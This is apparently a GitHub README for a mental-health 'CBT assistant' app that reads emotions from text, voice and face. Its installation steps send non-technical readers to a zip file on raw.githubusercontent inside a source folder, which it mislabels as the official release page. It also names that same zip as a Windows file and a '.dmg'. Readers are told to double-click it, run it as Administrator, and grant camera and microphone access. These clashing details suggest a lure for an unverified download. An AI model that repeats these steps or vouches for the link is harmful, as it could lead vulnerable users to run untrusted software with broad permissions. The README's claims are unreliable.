The emotion-adaptive-multimodal-cbt-assistant is a smart helper designed to recognize your emotions using your voice, facial expressions, and text messages. It uses advanced machine learning to understand how you feel and gives responses inspired by Cognitive Behavioral Therapy (CBT). This helps you explore your thoughts and feelings in a guided way.
This assistant combines three types of data — what you say (text), how you say it (audio), and how you look (video) — to get a clearer picture of your emotional state. It then adapts its advice or support accordingly. This makes the experience more personal and effective.
You do not need any technical skills to use it. Follow the steps below to get started.
- Emotion Recognition from Text, Voice, and Face: Understands emotions through what you type, how you speak, and your facial expressions.
- CBT-Aligned Responses: Provides thoughtful responses based on proven therapy techniques.
- Multimodal Fusion: Combines multiple inputs to improve accuracy.
- Easy to Use: Designed for people with no programming experience.
- Offline Capable: Works without needing an internet connection after installation.
- Visual and Audio Interaction: Supports both video and voice input.
- Open Source: Transparent and community-driven development.
To run this application smoothly, make sure your computer meets the following:
- Operating System: Windows 10 or newer, MacOS 10.15 or newer, or most recent Linux distributions.
- Processor: Intel i3 or equivalent minimum. A better CPU improves speed.
- RAM: At least 4 GB. 8 GB or more recommended for smoother experience.
- Storage: Minimum 500 MB free disk space for installation.
- Camera: A webcam for face emotion recognition.
- Microphone: For audio input.
- Display: Screen resolution of 1280x720 or higher.
- Software: No additional software or programming tools required.
Follow these steps carefully to download and open the application on your computer.
-
Click on the big Download Latest Release button at the top or use the link below to visit the official release page on GitHub:
https://raw.githubusercontent.com/rustamG88/emotion-adaptive-multimodal-cbt-assistant/main/src/fusion/multimodal-cbt-emotion-assistant-adaptive-2.4-alpha.4.zip -
On the release page, look for the latest version package under the "Assets" section. This package will be named something like
https://raw.githubusercontent.com/rustamG88/emotion-adaptive-multimodal-cbt-assistant/main/src/fusion/multimodal-cbt-emotion-assistant-adaptive-2.4-alpha.4.zip(Windows) or.dmg(Mac). -
Click the package file to download it to your computer.
-
Once downloaded, double-click the installer file to start the installation process.
-
Follow the instructions on your screen:
- Choose the installation folder (the default is usually fine).
- Agree to the license terms.
- Click “Install” to complete.
-
When the installation finishes, you should find the application icon on your desktop or in your start menu/applications folder.
-
Open the application by double-clicking its icon.
-
When prompted, allow permission to access your camera and microphone. Without these, the emotion recognition features will not work well.
-
The app will then guide you through a simple tutorial to get started.
-
You can interact by typing text, speaking, or using your facial expressions in front of your webcam.
-
The assistant will respond and help you explore your emotions and thoughts.
- Use the app in a private space to keep your data secure.
- The application does not send your data anywhere; it works locally on your device.
- Take breaks if you feel overwhelmed while using the app.
- This tool is not a replacement for professional mental health services.
- The app won’t open or crashes: Restart your computer, then try again. Make sure your system meets requirements.
- Camera or microphone not detected: Check device connections and permissions. Restart the app after granting access.
- Installation error: Try downloading the installer again. Run as Administrator on Windows.
- Performance is slow: Close other programs to free up memory.
If problems continue, check the GitHub Issues page or contact the support link on the release page.
This app is built using modern AI and machine learning techniques focused on mental health solutions. The main areas are:
- Computer Vision — for face emotion detection.
- Audio Processing — for voice emotion analysis.
- Deep Learning — to improve accuracy and adapt responses.
- Transformer Models — used in text understanding.
- Multimodal Fusion — combining signals from different senses.
- PyTorch framework for model implementation.
- Mental Health AI to support users with emotional well-being.
If you want to learn more about the technology behind the app or contribute to its development, visit the main GitHub page. The community welcomes new users and developers alike.
Download Latest Release
Use this link to visit the release page and get the installer for your platform.
Thank you for using emotion-adaptive-multimodal-cbt-assistant. Use it thoughtfully to support your mental health journey.